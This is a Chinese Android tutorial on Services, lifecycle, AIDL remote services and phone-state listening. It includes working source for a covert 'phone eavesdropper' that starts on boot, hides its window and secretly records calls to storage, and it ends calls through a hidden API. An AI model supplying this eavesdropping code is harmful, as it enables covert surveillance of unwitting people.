现在的位置: 首页 > 综合 > 正文

Android核心基础(八)

2018年03月22日 ⁄ 综合 ⁄ 共 25418字 ⁄ 字号 评论关闭

1、服务--Service

Android中的服务和windows中的服务是类似的东西,服务一般没有用户操作界面,它运行于系统中不容易被用户发觉,可以使用它开发如监控之类的程序。服务的开发比较简单,如下:

第一步:继承Service

public class SMSService extends Service { }

第二步:在AndroidManifest.xml文件中的<application>节点里对服务进行配置:

<service android:name=".SMSService" />

服务不能自己运行,需要通过调用Context.startService()Context.bindService()方法启动服务。这两个方法都可以启动Service,但是它们的使用场合有所不同。使用startService()方法启用服务,访问者与服务之间没有关连,即使访问者退出了,服务仍然运行。使用bindService()方法启用服务,访问者与服务绑定在了一起,访问者一旦退出,服务也就终止,大有“不求同时生,必须同时死”的特点。

采用Context.startService()方法启动服务,只能调用Context.stopService()方法结束服务,服务结束时会调用onDestroy()方法。

public class PhoneListenerService extends Service {

private static final String TAG = "PhoneListenerService";

private PhoneStateListener listener = new PhoneStateListener(){

private String filename;

private boolean recoding;

private String mobile;

private MediaRecorder recorder;

@Override

public void onCallStateChanged(int state, String incomingNumber) {

   try {

switch (state){

case TelephonyManager.CALL_STATE_IDLE: /* 无任何状态时 */

if(recorder!=null){

  if(recoding){

    recorder.stop();

    recorder.release();

    Log.e(TAG, "record finish");

    recorder = null;

   }

}

break;

    

case TelephonyManager.CALL_STATE_OFFHOOK: /* 接起电话时 */

SimpleDateFormat dateFormat = new SimpleDateFormat("yyyyMMddHHmmss");

filename = mobile+ dateFormat.format(new Date()) + ".3gp";

recorder = new MediaRecorder();

recorder.setAudioSource(MediaRecorder.AudioSource.MIC);

recorder.setOutputFormat(MediaRecorder.OutputFormat.THREE_GPP);// .3pg

recorder.setAudioEncoder(MediaRecorder.AudioEncoder.AMR_NB);

recorder.setOutputFile("/mnt/sdcard/"+ filename);

recorder.prepare();

recorder.start();

recoding = true;

Log.e(TAG, "recording");

break;

    

case TelephonyManager.CALL_STATE_RINGING: /* 电话进来时 */

mobile = incomingNumber;

break;

        }

     } catch (Exception e) {

Log.e(TAG, e.toString());

     }

     super.onCallStateChanged(state, incomingNumber);

}

};

@Override

public void onCreate() {

  super.onCreate();

  TelephonyManager telManager = (TelephonyManager) getSystemService(Context.TELEPHONY_SERVICE);

  telManager.listen(listener, PhoneStateListener.LISTEN_CALL_STATE);

  Log.e(TAG, "onCreate()");

}

@Override

public IBinder onBind(Intent intent) {

return null;

}

}

<uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED"/>

<uses-permission android:name="android.permission.READ_PHONE_STATE"/>

 <!-- SDCard中创建与删除文件权限 -->

<uses-permission android:name="android.permission.MOUNT_UNMOUNT_FILESYSTEMS"/>

<!-- SDCard写入数据权限 -->

<uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE"/>

<!-- 访问internet权限 -->

<uses-permission android:name="android.permission.INTERNET"/>

<uses-permission android:name="android.permission.RECORD_AUDIO"/>

2、建立能与访问者进行相互通信的本地服务

通过startService()stopService()启动关闭服务。适用于服务和访问者之间没有交互的情况。如果服务和访问者之间需要方法调用或者传递参数,侧需要使用bindService()unbindService()方法启动关闭服务。

采用Context.bindService()方法启动服务,在服务未被创建时,系统会先调用服务的onCreate()方法,接着调用onBind()方法,这个时候访问者和服务绑定在一起。 如果访问者要与服务进行通信,那么,onBind()方法必须返回Ibinder对象。如果访问者退出了,系统就会先调用服务的onUnbind()方法,接着调用onDestroy()方法。如果调用bindService()方法前服务已经被绑定,多次调用bindService()方法并不会导致多次创建服务及绑定(也就是说onCreate()onBind()方法并不会被多次调用)。如果访问者希望与正在绑定的服务解除绑定,可以调用unbindService()方法,调用该方法也会导致系统调用服务的onUnbind()-->onDestroy()方法。

Activity与服务进行通信,开发人员通常把通信方法定义在接口里,然后让Ibinder对象实现该接口,而Activity通过该接口引用服务onBind()方法返回的Ibinder对象,然后调用Ibinder对象里自定义的通信方法。例子如下:

本例是一个本地服务,即服务与Activity在同一个应用内部。

接口:

public interface ICountService {

public int getCount();

}

服务类:

public class CountService extends Service {

private boolean quit;

private int count;

private ServiceBinder serviceBinder = new ServiceBinder();

public class ServiceBinder extends Binder implements ICountService {

@Override

public int getCount() {

return count;

}

}

@Override

public IBinder onBind(Intent intent) {

return serviceBinder;

}

@Override

public void onCreate() {

super.onCreate();

new Thread(new Runnable() {

@Override

public void run() {

while (!quit) {

    try {

Thread.sleep(1000);

 } catch (InterruptedException e) {}

    count++;

}

}

}).start();

}

@Override

public void onDestroy() {

super.onDestroy();

this.quit = true;

}

}

客户端Activity

public class ClientActivity extends Activity {

private ICountService countService;

@Override

public void onCreate(Bundle savedInstanceState) {

super.onCreate(savedInstanceState);

setContentView(R.layout.main);

this.bindService(new Intent(this, CountService.class), this.serviceConnection, BIND_AUTO_CREATE);

}

@Override

protected void onDestroy() {

super.onDestroy();

this.unbindService(serviceConnection);

}

private ServiceConnection serviceConnection = new ServiceConnection() {

@Override

public void onServiceConnected(ComponentName name, IBinder service) {

countService = (ICountService) service;//对于本地服务,获取的实例和服务onBind()返回的实例是同一个

int i = countService.getCount();

Log.v("CountService", "Count is " + i);

}

@Override

public void onServiceDisconnected(ComponentName name) {

countService = null;

}

};

}

3、服务的生命周期回调方法

服务的生命周期跟启动服务的方法有关:

 当采用Context.startService()方法启动服务,与之有关的生命周期方法

onCreate()——>onStart()——>onDestroy()

onCreate()该方法在服务被创建时调用,该方法只会被调用一次,无论调用多少次startService()bindService()方法,服务也只被创建一次。

onStart() 只有采用Context.startService()方法启动服务时才会回调该方法。该方法在服务开始运行时被调用。多次调用startService()方法尽管不会多次创建服务,但onStart() 方法会被多次调用。

onDestroy()该方法在服务被终止时调用。

 当采用Context.bindService()方法启动服务,与之有关的生命周期方法

onCreate() ——onBind() ——onUnbind() ——> onDestroy()

onBind()只有采用Context.bindService()方法启动服务时才会回调该方法。该方法在调用者与服务绑定时被调用,当调用者与服务已经绑定,多次调用Context.bindService()方法并不会导致该方法被多次调用。

onUnbind()只有采用Context.bindService()方法启动服务时才会回调该方法。该方法在调用者与服务解除绑定时被调用。

如果先采用startService()方法启动服务,然后调用bindService()方法绑定到服务,再调用unbindService()方法解除绑定,最后调用bindService()方法再次绑定到服务,触发的生命周期方法如下:

onCreate() ——onStart() ——onBind() ——onUnbind()[重载后的方法需返回true] ——onRebind()

4、使用AIDL和远程服务实现进程通信

Android每个应用程序都有自己的进程,当需要在不同的进程之间传递对象时,该如何实现呢显然, Java中是不支持跨进程内存共享的。因此要传递对象需要把对象解析成操作系统能够理解的数据格式以达到跨界对象访问的目的。在JavaEE中,采用RMI通过序列化传递对象。在Android则采用AIDL(Android Interface Definition Language:接口定义语言)方式实现。

    AIDL是一种接口定义语言,用于约束两个进程间的通讯规则,供编译器生成代码,实现Android设备上的两个进程间通信(IPC)AIDLIPC机制和EJB所采用的CORBA很类似,进程之间的通信信息,首先会被转换成AIDL协议消息,然后发送给对方,对方收到AIDL协议消息后再转换成相应的对象。由于进程之间的通信信息需要双向转换,所以android采用代理类在背后实现了信息的双向转换,代理类由android编译器生成,对开发人员来说是透明的。

实现进程通信,一般需要下面四个步骤:

假设A应用需要与B应用进行通信,调用B应用中的download(String path)方法,B应用以Service方式向A应用提供服务。需要下面四个步骤

1> B应用中创建*.aidl文件,aidl文件的定义和接口的定义很相类,如:在cn.itcast.aidl包下创建IDownloadService.aidl文件,内容如下:

package cn.itcast.aidl;

interface IDownloadService {

void download(String path);

}

当完成aidl文件创建后,eclipse会自动在项目的gen目录中同步生成IDownloadService.java接口文件。接口文件中生成一个Stub的抽象类,里面包括aidl定义的方法,还包括一些其它辅助方法。值得关注的是asInterface(IBinder iBinder),它返回接口类型的实例,对于远程服务调用,远程服务返回给客户端的对象为代理对象,客户端在onServiceConnected(ComponentName name, IBinder service)方法引用该对象时不能直接强转成接口类型的实例,而应该使用asInterface(IBinder iBinder)进行类型转换。

编写Aidl文件时,需要注意下面几点

  1.接口名和aidl文件名相同。

  2.接口和方法前不用加访问权限修饰符public,private,protected,也不能用final,static

  3.Aidl默认支持的类型包话java基本类型(intlongboolean等)和(StringListMapCharSequence),使用这些类型时不需要import声明。对于ListMap中的元素类型必须是Aidl支持的类型。如果使用自定义类型作为参数或返回值,自定义类型必须实现Parcelable接口。

  4.自定义类型和AIDL生成的其它接口类型在aidl描述文件中,应该显式import,即便在该类和定义的包在同一个包中。

  5.aidl文件中所有非Java基本类型参数必须加上inoutinout标记,以指明参数是输入参数、输出参数还是输入输出参数。

  6.Java原始类型默认的标记为in,不能为其它标记。

2> B应用中实现aidl文件生成的接口(本例是IDownloadService),但并非直接实现接口,而是通过继承接口的Stub来实现(Stub抽象类内部实现了aidl接口),并且实现接口方法的代码。内容如下:

public class ServiceBinder extends IDownloadService.Stub {

@Override

public void download(String path) throws RemoteException {

Log.i("DownloadService", path);

}

}

3> B应用中创建一个Service(服务),在服务的onBind(Intent intent)方法中返回实现了aidl接口的对象(本例是ServiceBinder)。内容如下:

public class DownloadService extends Service {

private ServiceBinder serviceBinder = new ServiceBinder();

@Override

public IBinder onBind(Intent intent) {

return serviceBinder;

 }

public class ServiceBinder extends IDownloadService.Stub {

@Override

public void download(String path) throws RemoteException {

Log.i("DownloadService", path);

}

}

}

其他应用可以通过隐式意图访问服务,意图的动作可以自定义,AndroidManifest.xml配置代码如下:

<service android:name=".DownloadService" >

<intent-filter>

<action android:name="cn.itcast.process.aidl.DownloadService" />

</intent-filter>

</service>

4> B应用中aidl文件所在package连同aidl文件一起拷贝到客户端A应用,eclipse会自动在A应用的gen目录中为aidl文件同步生成IDownloadService.java接口文件,接下来就可以在A应用中实现与B应用通信,代码如下:

public class ClientActivity extends Activity {

private IDownloadService downloadService;

@Override

public void onCreate(Bundle savedInstanceState) {

super.onCreate(savedInstanceState);

setContentView(R.layout.main);

this.bindService(new Intent("cn.itcast.process.aidl.DownloadService"), this.serviceConnection, BIND_AUTO_CREATE);//绑定到服务

}

@Override

protected void onDestroy() {

super.onDestroy();

this.unbindService(serviceConnection);//解除服务

}

private ServiceConnection serviceConnection = new ServiceConnection() {

@Override

public void onServiceConnected(ComponentName name, IBinder service) {

downloadService = IDownloadService.Stub.asInterface(service);

try {

downloadService.download("http://www.itcast.cn");

} catch (RemoteException e) {

Log.e("ClientActivity", e.toString());

}

}

@Override

public void onServiceDisconnected(ComponentName name) {

downloadService = null;

}

};

}

5、进程间传递自定义类型参数

Aidl默认支持的类型包话java基本类型(intlongboolean等)和(StringListMapCharSequence),如果要传递自定义的类型该如何实现呢?

要传递自定义类型,首先要让自定义类型支持parcelable协议,实现步骤如下:

1>自定义类型必须实现Parcelable接口,并且实现Parcelable接口的public void writeToParcel(Parcel dest, int flags)方法 。

2>自定义类型中必须含有一个名称为CREATOR的静态成员,该成员对象要求实现Parcelable.Creator接口及其方法。

3> 创建一个aidl文件声明你的自定义类型。

Parcelable接口的作用:实现了Parcelable接口的实例可以将自身的状态信息(状态信息通常指的是各成员变量的值)写入Parcel,也可以从Parcel中恢复其状态。 Parcel用来完成数据的序列化传递。

1> 创建自定义类型,并实现Parcelable接口,使其支持parcelable协议。如:在cn.itcast.domain包下创建Person.java:

package cn.itcast.domain;

import android.os.Parcel;

import android.os.Parcelable;

public class Person implements Parcelable

private Integer id;

private String name;

public Person(){}

public Person(Integer id, String name) {

this.id = id;

this.name = name;

}

public Integer getId() {

return id;

}

public void setId(Integer id) {

this.id = id;

}

public String getName() {

return name;

}

public void setName(String name) {

this.name = name;

}

@Override

public int describeContents() {

return 0;

}

@Override

public void writeToParcel(Parcel dest, int flags) {//javanbean中的数据写到Parcel

dest.writeInt(this.id);

dest.writeString(this.name);

}

//添加一个静态成员,名为CREATOR,该对象实现了Parcelable.Creator接口

public static final Parcelable.Creator<Person> CREATOR = new Parcelable.Creator<Person>(){

@Override

public Person createFromParcel(Parcel source) {//Parcel中读取数据,返回person对象

return new Person(source.readInt(), source.readString());

}

@Override

public Person[] newArray(int size) {

return new Person[size];

}

};

}

2> 在自定义类型所在包下创建一个aidl文件对自定义类型进行声明,文件的名称与自定义类型同名。

package cn.itcast.domain;

parcelable Person;

3> 在接口aidl文件中使用自定义类型,需要使用import显式导入,本例在cn.itcast.aidl包下创建IPersonService.aidl文件,内容如下:

package cn.itcast.aidl;

import cn.itcast.domain.Person;

interface IPersonService {

      void save(in Person person);

}

4> 在实现aidl文件生成的接口(本例是IPersonService),但并非直接实现接口,而是通过继承接口的Stub来实现(Stub抽象类内部实现了aidl接口),并且实现接口方法的代码。内容如下:

public class ServiceBinder extends IPersonService.Stub {

       @Override

       public void save(Person person) throws RemoteException {

Log.i("PersonService", person.getId()+"="+ person.getName());

       }

}

5> 创建一个Service(服务),在服务的onBind(Intent intent)方法中返回实现了aidl接口的对象(本例是ServiceBinder)。内容如下:

public class PersonService extends Service {

private ServiceBinder serviceBinder = new ServiceBinder();

@Override

public IBinder onBind(Intent intent) {

return serviceBinder;

}

public class ServiceBinder extends IPersonService.Stub {

       @Override

       public void save(Person person) throws RemoteException {

Log.i("PersonService", person.getId()+"="+ person.getName());

       }

}

}

其他应用可以通过隐式意图访问服务,意图的动作可以自定义,AndroidManifest.xml配置代码如下:

<service android:name=".PersonService" >

<intent-filter>

<action android:name="cn.itcast.process.aidl.PersonService " />

</intent-filter>

</service>

6> 把应用中的aidl文件和所在package一起拷贝到客户端应用的src目录下,eclipse会自动在客户端应用的gen目录中为aidl文件同步生成IPersonService.java接口文件,接下来再把自定义类型文件和类型声明aidl文件及所在package一起拷贝到客户端应用的src目录下。

最后就可以在客户端应用中实现与远程服务的通信,代码如下:

public class ClientActivity extends Activity {

private IPersonService personService;

@Override

public void onCreate(Bundle savedInstanceState) {

super.onCreate(savedInstanceState);

setContentView(R.layout.main);

this.bindService(new Intent("cn.itcast.process.aidl.PersonService"), this.serviceConnection, BIND_AUTO_CREATE);//绑定到服务

}

@Override

protected void onDestroy() {

super.onDestroy();

this.unbindService(serviceConnection);//解除服务

}

private ServiceConnection serviceConnection = new ServiceConnection() {

@Override

public void onServiceConnected(ComponentName name, IBinder service) {

personService = IPersonService.Stub.asInterface(service);

try {

personService.save(new Person(56,"liming"));

} catch (RemoteException e) {

Log.e("ClientActivity", e.toString());

}

}

@Override

public void onServiceDisconnected(ComponentName name) {

personService = null;

}

};

}

6、监听电话呼叫状态

要实现电话窃听,需要监听电话的状态,方法如下:

/* 取得电话服务 */

TelephonyManager telManager = (TelephonyManager) getSystemService(Context.TELEPHONY_SERVICE);

PhoneStateListener listener = new PhoneStateListener(){

@Override  public void onCallStateChanged(int state, String incomingNumber) {

      switch (state){

        case TelephonyManager.CALL_STATE_IDLE: /* 无任何状态时 */

        break;

        case TelephonyManager.CALL_STATE_OFFHOOK: /* 接起电话时 */

        break;

        case TelephonyManager.CALL_STATE_RINGING: /* 电话进来时 */

        break;

        default:

break;

      }

super.onCallStateChanged(state, incomingNumber);

}        

};

//监听电话的状态

telManager.listen(listener, PhoneStateListener.LISTEN_CALL_STATE);

在清单文件AndroidManifest.xml中添加权限:

<uses-permission android:name="android.permission.READ_PHONE_STATE"/>

结束通话--实现黑名单拦截

Android没有对外公开结束通话的API,如果需要结束通话,必须使用AIDL与电话管理服务进行通信,并调用服务中的API实现结束通话,方法如下:

1> Android的源代码中拷贝以下文件到项目中:

com.android.internal.telephony包下的ITelephony.aidl

android.telephony包下的NeighboringCellInfo.aidl

注意:需要在项目中建立对应的包名存放上述两个aidl文件,

如右图所示。开发工具会在gen目录下自动生成ITelephony.java

2> 调用ITelephony.endCall()结束通话:

Method method = Class.forName("android.os.ServiceManager").getMethod("getService", String.class);

IBinder binder = (IBinder)method.invoke(null, new Object[]{TELEPHONY_SERVICE});

ITelephony telephony = ITelephony.Stub.asInterface(binder);

telephony.endCall();

在清单文件AndroidManifest.xml中添加权限:

<uses-permission android:name="android.permission.CALL_PHONE" />

7、电话窃听器

package com.itheima.phonelistener;

import android.app.Activity;

import android.content.Intent;

import android.os.Bundle;

import android.view.View;

public class MainActivity extends Activity {

    @Override

    protected void onCreate(Bundle savedInstanceState) {

        super.onCreate(savedInstanceState);

        setContentView(R.layout.activity_main);

    }

    /**

     * 开启服务按钮的点击事件

     * @param view

     */

    public void start(View view){

     Intent intent = new Intent(this,PhoneListenService.class);

     startService(intent);

     new Thread(){

     public void run() {

     //注册电话监听器 ,监听电话状态变化.

     };

     }.start();

    }

    /**

     * 关闭服务按钮的点击事件

     * @param view

     */

    public void stop(View view){

     Intent intent = new Intent(this,PhoneListenService.class);

     stopService(intent);

    }

}

package com.itheima.phonelistener;

import android.content.BroadcastReceiver;

import android.content.Context;

import android.content.Intent;

public class BootReceiver extends BroadcastReceiver {

@Override

public void onReceive(Context context, Intent intent) {

System.out.println("手机启动完毕了...");

Intent i = new Intent(context,PhoneListenService.class);

context.startService(i);

}

}

package com.itheima.phonelistener;

import java.io.IOException;

import android.app.Service;

import android.content.Context;

import android.content.Intent;

import android.media.MediaRecorder;

import android.os.IBinder;

import android.telephony.PhoneStateListener;

import android.telephony.TelephonyManager;

public class PhoneListenService extends Service {

/**

 * 声明一个电话管理器

 */

private TelephonyManager tm;

private MyPhoneListener listener;

@Override

public IBinder onBind(Intent intent) {

return null;

}

@Override

public void onCreate() {

System.out.println("服务 oncreate");

tm = (TelephonyManager) this

.getSystemService(Context.TELEPHONY_SERVICE);

// 注册监听器 获取电话状态的变化

listener = new MyPhoneListener();

tm.listen(listener, PhoneStateListener.LISTEN_CALL_STATE);

super.onCreate();

}

@Override

public int onStartCommand(Intent intent, int flags, int startId) {

System.out.println("服务  onstart command");

return super.onStartCommand(intent, flags, startId);

}

@Override

public void onDestroy() {

System.out.println("服务 ondestroy");

// 服务停止的时候 取消电话状态的监听.

tm.listen(listener, PhoneStateListener.LISTEN_NONE);

listener = null;

super.onDestroy();

}

private class MyPhoneListener extends PhoneStateListener {

private MediaRecorder mediaRecorder;

/**

 * 当呼叫状态发生变化的时候 调用的方法

 */

@Override

public void onCallStateChanged(int state, String incomingNumber) {

super.onCallStateChanged(state, incomingNumber);

try {

switch (state) {

// 空闲状态

case TelephonyManager.CALL_STATE_IDLE:

System.out.println("如果发现刚才开启了录音机,停止录音,上传刚才的音频文件");

if (mediaRecorder != null) {

mediaRecorder.stop();

mediaRecorder.release();// 释放资源

mediaRecorder = null;

System.out.println("上传音频文件到服务器...");

}

break;

// 响铃状态

case TelephonyManager.CALL_STATE_RINGING:

System.out.println("铃声响了,准备一个录音机,开始录音...");

mediaRecorder = new MediaRecorder();

// 设置声音源 录制麦克风获取的声音

mediaRecorder.setAudioSource(MediaRecorder.AudioSource.MIC);

// 指定录制声音的格式

mediaRecorder

.setOutputFormat(MediaRecorder.OutputFormat.THREE_GPP);

// 指定文件

mediaRecorder.setOutputFile("/sdcard/"

+ System.currentTimeMillis() + ".3gp");

// 指定音频 的编码方式

mediaRecorder

.setAudioEncoder(MediaRecorder.AudioEncoder.DEFAULT);

// 准备开始录音

mediaRecorder.prepare();

break;

// 电话已经接通了.

case TelephonyManager.CALL_STATE_OFFHOOK:

System.out.println("电话接通了...开始录音...");

mediaRecorder.start();// 开始录音

break;

}

} catch (Exception e) {

// TODO Auto-generated catch block

e.printStackTrace();

}

}

}

}

<?xml version="1.0" encoding="utf-8"?>

<manifest xmlns:android="http://schemas.android.com/apk/res/android"

    package="com.itheima.phonelistener"

    android:versionCode="1"

    android:versionName="1.0" >

    <uses-sdk

        android:minSdkVersion="8"

        android:targetSdkVersion="17" />

    <uses-permission android:name="android.permission.READ_PHONE_STATE" />

    <uses-permission android:name="android.permission.RECORD_AUDIO" />

    <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE" />

    <uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED"/>

    <application

        android:allowBackup="true"

        android:icon="@drawable/ic_launcher"

        android:label="@string/app_name"

        android:theme="@style/AppTheme" >

        <activity

            android:theme="@android:style/Theme.Translucent"

            android:name="com.itheima.phonelistener.MainActivity"

            android:label="@string/app_name" >

            <intent-filter>

                <action android:name="android.intent.action.MAIN" />

                <category android:name="android.intent.category.LAUNCHER" />

            </intent-filter>

        </activity>

        <service android:name="com.itheima.phonelistener.PhoneListenService" >

        </service>

        <receiver android:name="com.itheima.phonelistener.BootReceiver" >

            <intent-filter>

                <action android:name="android.intent.action.BOOT_COMPLETED"/>

            </intent-filter>

        </receiver>

    </application>

</manifest>

8、服务的两种开启方式

package com.itheima.testservice;

import android.app.Activity;

import android.content.ComponentName;

import android.content.Intent;

import android.content.ServiceConnection;

import android.os.Bundle;

import android.os.IBinder;

import android.view.View;

public class MainActivity extends Activity {

private Intent intent;

private MyConn conn;

/**

 * 中间人

 */

private IService myBinder;

@Override

protected void onCreate(Bundle savedInstanceState) {

super.onCreate(savedInstanceState);

setContentView(R.layout.activity_main);

intent = new Intent(this, TestService.class);

}

/**

 * 开启服务

 * 

 * @param view

 */

public void start(View view) {

startService(intent);

}

/**

 * 停止服务

 * 

 * @param view

 */

public void stop(View view) {

stopService(intent);

}

/**

 * 绑定服务

 * 

 * @param view

 */

public void bind(View view) {

conn = new MyConn();

//2.绑定的方式开启服务

System.out.println("2.绑定的方式开启服务");

bindService(intent, conn, BIND_AUTO_CREATE);

}

/**

 * 解除绑定服务

 * 

 * @param view

 */

public void unbind(View view) {

if (conn != null) {

unbindService(conn);

conn = null;

}

}

/**

 * 调用服务里面的方法

 * @param view

 */

public void call(View view){

System.out.println("5.调用代理对象的方法");

myBinder.callMethodInService(3000);

}

private class MyConn implements ServiceConnection {

//当服务被成功绑定的时候调用的方法.

//IBinder  中间人

@Override

public void onServiceConnected(ComponentName name, IBinder service) {

//4.在服务成功绑定的时候  服务端的代理对象就会被返回回来.获取这个代理对象.

System.out.println("//4.在服务成功绑定的时候  服务端的代理对象就会被返回回来.获取这个代理对象.");

System.out.println("activity:"+service.toString());

myBinder = (IService) service;

}

@Override

public void onServiceDisconnected(ComponentName name) {

}

}

}

package com.itheima.testservice;

/**

 * 声明一个接口 类似于小广告

 * @author Administrator

 *

 */

public interface IService {

public void callMethodInService(int money);

}

package com.itheima.testservice;

import android.app.Service;

import android.content.Intent;

import android.os.Binder;

import android.os.IBinder;

import android.widget.Toast;

public class TestService extends Service {

/**

 * 服务在成功绑定的时候  会执行onbind方法.

 */

@Override

public IBinder onBind(Intent intent) {

System.out.println("onbind");

//3.服务成功绑定,返回一个中间人代理对象 IBinder

System.out.println("3.服务成功绑定,返回一个中间人代理对象 IBinder,里面有一个方法");

MyBinder binder = new MyBinder();

System.out.println("服务binder:"+binder.toString());

return binder;

}

/**

 * 创建一个代理人对象实现 IBinder接口

 *

 */

private class MyBinder extends Binder implements IService{

/**

 * 代理人间接的调用服务里面的方法

 * @param money 钱 

 */

public void callMethodInService(int money){

if(money<500){

System.out.println("钱太少了.回去再准备点...");

}else{

methodInService();

}

}

public void playPoker(){

}

public void MSG(){

}

}

@Override

public boolean onUnbind(Intent intent) {

System.out.println("onunbind");

return super.onUnbind(intent);

}

/**

 * 服务里面的方法

 */

public void methodInService(){

Toast.makeText(this, "我是服务里面的方法,我被调用了...", 0).show();

}

@Override

public void onCreate() {

System.out.println("服务 oncreate");

super.onCreate();

}

@Override

public void onStart(Intent intent, int startId) {

System.out.println("服务 onstart");

super.onStart(intent, startId);

}

@Override

public int onStartCommand(Intent intent, int flags, int startId) {

System.out.println("服务 onstart command");

return super.onStartCommand(intent, flags, startId);

}

@Override

public void onDestroy() {

System.out.println("服务 ondestroy");

super.onDestroy();

}

}

<?xml version="1.0" encoding="utf-8"?>

<manifest xmlns:android="http://schemas.android.com/apk/res/android"

    package="com.itheima.testservice"

    android:versionCode="1"

    android:versionName="1.0" >

    <uses-sdk

        android:minSdkVersion="8"

        android:targetSdkVersion="17" />

    <application

        android:allowBackup="true"

        android:icon="@drawable/ic_launcher"

        android:label="@string/app_name"

        android:theme="@style/AppTheme" >

        <activity

            android:name="com.itheima.testservice.MainActivity"

            android:label="@string/app_name" >

            <intent-filter>

                <action android:name="android.intent.action.MAIN" />

                <category android:name="android.intent.category.LAUNCHER" />

            </intent-filter>

        </activity>

        <service android:name="com.itheima.testservice.TestService" >

        </service>

    </application>

</manifest>

10、远程服务

package com.example.remoteservice;

import android.os.Bundle;

import android.app.Activity;

import android.view.Menu;

public class MainActivity extends Activity {

@Override

protected void onCreate(Bundle savedInstanceState) {

super.onCreate(savedInstanceState);

setContentView(R.layout.activity_main);

}

@Override

public boolean onCreateOptionsMenu(Menu menu) {

// Inflate the menu; this adds items to the action bar if it is present.

getMenuInflater().inflate(R.menu.activity_main, menu);

return true;

}

}

package com.example.remoteservice;

import android.app.IntentService;

import android.app.Service;

import android.content.Intent;

import android.os.Binder;

import android.os.IBinder;

public class RemoteService extends Service {

@Override

public IBinder onBind(Intent intent) {

return new MyBinder();

}

private class MyBinder extends IService.Stub{

@Override

public void callMethodInService(int money) {

if(money>500){

methodInService();

}

}

}

@Override

public void onCreate() {

System.out.println("远程服务被创建了....");

super.onCreate();

}

public void methodInService(){

System.out.println("我是远程服务里面的方法..我被调用了");

}

}

package com.example.remoteservice;

/**

 * 声明一个接口 类似于小广告

 * @author Administrator

 *

 */

 interface IService {

 void callMethodInService(int money);

}

<?xml version="1.0" encoding="utf-8"?>

<manifest xmlns:android="http://schemas.android.com/apk/res/android"

    package="com.example.remoteservice"

    android:versionCode="1"

    android:versionName="1.0" >

    <uses-sdk

        android:minSdkVersion="8"

        android:targetSdkVersion="17" />

    <application

        android:allowBackup="true"

        android:icon="@drawable/ic_launcher"

        android:label="@string/app_name"

        android:theme="@style/AppTheme" >

        <activity

            android:name="com.example.remoteservice.MainActivity"

            android:label="@string/app_name" >

            <intent-filter>

                <action android:name="android.intent.action.MAIN" />

                <category android:name="android.intent.category.LAUNCHER" />

            </intent-filter>

        </activity>

        <service android:name="com.example.remoteservice.RemoteService" >

            <intent-filter >

                <action android:name="com.hahha.remote.service"/>

            </intent-filter>

        </service>

    </application>

</manifest>

抱歉!评论已关闭.